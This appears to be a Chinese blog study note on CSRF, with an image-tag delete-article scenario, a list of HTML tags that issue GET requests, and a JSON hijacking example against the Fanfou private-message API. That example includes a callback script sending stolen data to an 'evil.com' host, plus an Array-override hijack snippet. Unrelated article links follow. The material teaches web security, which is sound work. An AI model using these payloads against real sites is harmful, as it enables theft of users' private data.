CSRF学习小结
什么是CSRF
CSRF,全称是Cross Site Request Forgery,也即跨站请求伪造。对于CSRF来说,它的请求有两个关键点:跨站点的请求和请求是伪造的。
跨站点的请求的来源是其他站点,当然恶意的请求也有可能来自本站,目标网站应该区分请求来源。如果请求的发出不是用户的意愿,那么这个请求就是伪造的。
一个场景
目标网站a:www.a.com
恶意网站b:www.b.com
两个域不一样,目标网站a上有一个删除文章的功能,通常用户单击“删除链接”时才会删除指定的文章,这个链接是www.a.com/blog/del?id=1,id号代表不同的文章。
如果目标网站a上存在一个XSS漏洞,执行的js脚本无同源策略限制,就可以按下面的方式来删除文章。
- 使用ajax发出get请求,请求值是id=1,请求目标地址是www.a.com/blog/del。
- 或者动态创建一个标签对象(如img、iframe、script)等,将它们的src指向这个链接www.a.com/blog/del?id=1,发出的也是get请求。
- 然后欺骗用户访问存在xss脚本的漏洞页面(的目标网站a上),则攻击发生。
如果不用这种方式,或者目标网产a根本不存在xss漏洞,那么我们可以考虑csrf的思路,来删除文章:
- 在恶意网站B上编写一个csrf页面(www.b.com/csrf.htm),想想有什么办法可以发出一个get请求到目标网站上?
- 利用ajax是不可以的,它禁止跨域传输数据。
- 用代码<img src=http://www.a.com/blog/del?id=1/>。
- 然后欺骗(QQ,微博,邮箱等)已经登录目标网站a的用户访问www.b.com/csrf.htm页面,则攻击发生。
这个攻击过程的三个关键点:跨域发出了一个get请求、可以无javascript参与、请求是身份认证后的。
有何危害
- 篡改目标网站上的用户数据
- 盗取用户隐私数据
- 作为其他攻击向量的辅助攻击手法
- 传播csrf蠕虫
CSRF类型
按照攻击方式主要可以分为:HTML CSRF攻击、JSON HiJacking攻击和Flash CSRF攻击(这里略)。
1、HTML CSRF攻击
同样是上面那个场景,发起的CSRF请求都属于HTML元素发出的,这一类是最普遍的CSRF攻击。
HTML中能够设置src/href等链接地址的标签都可以发起一个get请求:
<link href="">、<img src="">、<img lowsrc="">、<img dynsrc="">、<meta http-equiv="refresh" content="0:url=">、<iframe src="">、<frame src="">、<script src="">、<bgsound src="">、<embed src="">、<video src="">、<audio src="">、<a href="">、<table background="">
...
还有CSS样式中的:
@import ""、background:url("")
当然,还有通过javascript动态生成的标签或css对象发起的get请求,而发出post请求只能通过form提交方式。
2、JSON HiJacking攻击
JSON HiJacking的攻击过程是CSRF,是对ajax响应中最常见的json数据类型进行的劫持攻击。很多时候,网站发出的ajax请求,响应回来的数据是json格式,有以下两种格式.
1)字典格式
{
"id":1,
""name":"foo",
"email":foo@gmail.com,
}
2)列表格式
["foo","xoo","coo"]
json数据如果以字典形式返回,直接在浏览器中显示会报错,原因是浏览器以为"{"开头的脚本应该是一段左右花括号包围住的代码块,所以,我们一般会这样处理:
eval("("+json_data+")");//前后加上圆括号
对于使用列表形式返回的json数据,它是一个array对象,以前可以通过劫持array数据来进行json hijacking攻击,但是现在已经不行了。
一个以前饭否的json hijacking案例:
饭否的private_message API可以显示用户私信内容,官方描述如下:
显示用户收到的私信:
路径:http://api.fanfou.com/private_messages/inbox.[json|xml]
参数:count(可选)-私信数,范围1-20,默认为20
示例:http://api.fanfou.com/private_message/inbox.xml?count=10
callback(可选)-javascript函数名,使用json格式时可用,将json对象作为参数直接调用。
示例:http://api.fanfou.com/private_messages/inbox.xml?callback=getStatuses
我们使用json格式的数据返回,并且callback函数可以自定义。接着自定义一个json hijacking页面,包含如下javascript代码:
<script>
function hijack(o){//自定义的劫持函数
var i=0;
var data="";
for(i;i<2;i++){
//alert(o[i].text);
data+=o[i].sender_id;
}
alert(data);
new Image().src="http://wwww.evil.com/jsonhijack.php?hi="+escape(data);//将获取到的隐私数据上传到攻击者服务器上
}
</script>
<script src=http://api.fanfou.com/private_messages/inbox.json?callback=hijack&count=3>
</script><!--api调用中使用的callback函数为hijack-->
当登录饭否的用户被欺骗访问这个页面时,其隐私将暴露无遗。第一个<script>标签内的脚本是我们自定义的劫持函数hijack,第二个<script>标签加载远程js文件,即饭否的private_message API,这个加载过程实际上是发了一个CSRF GET请求,请求带上了登录用户的Cookie身份认证信息。返回的数据如下:
hijack([{
"id":585904,
"text":"...",
"sender_id":"Salina_Wu",
"recipient_id":"ycosxhack",
"created_at":Sat May 31 05:00:01 +0000 2008",
"sender_screen_name":"LOLO",
"recipient_screen_name":"余弦"},{
"id":324234,
"text":"...",
"sender_id":"xssis",
"recipient_id":"ycosxhack",
"created_at":Sat May 11 05:00:01 +0000 2008",
"sender_screen_name":"xssis",
"recipient_screen_name":"余弦"
}])
由于hijack函数被预先劫持而定义,并且第二个<script>标签内的远程js文件返回的数据被当作javascript代码而被解析执行,这时就会执行这个hijack函数,参数就是上面hijack()中的这段json数据。
如果饭否API不允许自定义callback函数,返回的数据内容如下:
[{
"id":585904,
"text":"...",
"sender_id":"Salina_Wu",
"recipient_id":"ycosxhack",
"created_at":Sat May 31 05:00:01 +0000 2008",
"sender_screen_name":"LOLO",
"recipient_screen_name":"余弦"},
//其余省略...
}]
返回结果是一个Array对象,我们曾经可以通过在加载待劫持的js文件之前,先劫持住Array对象,如:
<script>
var jackobj;
Array=function(){
jackobj=this;
}
</script>
<script src="http://api.fanfou.com/private_messages/inbox.json"></script>
CSRF学习小结的更多相关文章
- flex学习小结
接触到flex一个多月了,今天做一个学习小结.如果有知识错误或者意见不同的地方.欢迎交流指教. 画外音:先说一下,我是怎么接触到flex布局的.对于正在学习的童鞋们,我建议大家没事可以逛逛网站,看看人 ...
- Python 学习小结
python 学习小结 python 简明教程 1.python 文件 #!/etc/bin/python #coding=utf-8 2.main()函数 if __name__ == '__mai ...
- react学习小结(生命周期- 实例化时期 - 存在期- 销毁时期)
react学习小结 本文是我学习react的阶段性小结,如果看官你是react资深玩家,那么还请就此打住移步他处,如果你想给一些建议和指导,那么还请轻拍~ 目前团队内对react的使用非常普遍,之 ...
- objective-c基础教程——学习小结
objective-c基础教程——学习小结 提纲: 简介 与C语言相比要注意的地方 objective-c高级特性 开发工具介绍(cocoa 工具包的功能,框架,源文件组织:XCode使用介绍) ...
- pthread多线程编程的学习小结
pthread多线程编程的学习小结 pthread 同步3种方法: 1 mutex 2 条件变量 3 读写锁:支持多个线程同时读,或者一个线程写 程序员必上的开发者服务平台 —— DevSt ...
- ExtJs学习笔记之学习小结LoginDemo
ExtJs学习小结LoginDemo 1.示例:(登录界面) <!DOCTYPE html> <html> <head> <meta charset=&quo ...
- 点滴的积累---J2SE学习小结
点滴的积累---J2SE学习小结 什么是J2SE J2SE就是Java2的标准版,主要用于桌面应用软件的编程:包括那些构成Java语言核心的类.比方:数据库连接.接口定义.输入/输出.网络编程. 学习 ...
- (转) Parameter estimation for text analysis 暨LDA学习小结
Reading Note : Parameter estimation for text analysis 暨LDA学习小结 原文:http://www.xperseverance.net/blogs ...
- dubbo学习小结
dubbo学习小结 参考: https://blog.csdn.net/paul_wei2008/article/details/19355681 https://blog.csdn.net/liwe ...
随机推荐
- 一个简单的基于多进程实现并发的Socket程序
在单进程的socket的程序的基础上,实现多进程并发效果的思路具体是:在server端开启“链接循环”,每建立一次链接就生成一个Process对象进行server-client的互动,而client端 ...
- Mybatis 系列3-结合源码解析properties节点和environments节点
[Mybatis 系列10-结合源码解析mybatis 执行流程] [Mybatis 系列9-强大的动态sql 语句] [Mybatis 系列8-结合源码解析select.resultMap的用法] ...
- Frobenius 范数
- Linux下安装python3及相关包
Python3: sudo apt-get install python3 终端中输入python则进入python2,输入python3则进入python3 安装python2的相关包: sudo ...
- 18 LVM逻辑卷管理
根据上一节的内容,我们知道md这个内核模块可以用来做软RAID的管理.同时RAID实现了两个功能:1.提高了磁盘的读写能力:2.对于数据进行了冗余备份: 但是,如果是管理员手动误删的数据,则一样无法找 ...
- cas server
Tomcat: V8.5.x Java: 1.8 x64 MySQL: 5.5.x OS: Win10 x64 I. war 0. clone git clone https://github.com ...
- Java虚拟机------JVM分析工具
主要介绍JVM的分析工具: jps jps:Java Virtual Machine Process Status Tool http://docs.oracle.com/javase/1.5.0/d ...
- mysql 取整数或小数或精确位数
select cast(3.1415926 as decimal(9,2))精确到几位 select round(1024.5); 四舍五入 select floor(1024.5);取整数部分 se ...
- 马哥Linux base学习笔记
介绍课程: 中级: 初级:系统基础 中级:系统管理.服务安全及服务管理.shell脚本 高级: MySQL数据库: Cache & storgae 集群: Cluster lb: 4la ...
- “javac”不是内部或外部命令的解决办法(JDK1.5 ~ JDK10)
配置环境变量:计算机 -> 属性 -> 高级系统设置 -> 环境变量 JDK9以后版本(9-10): JAVA_HOME D:\Java\jdk-10 //jdk所在目录 JRE_H ...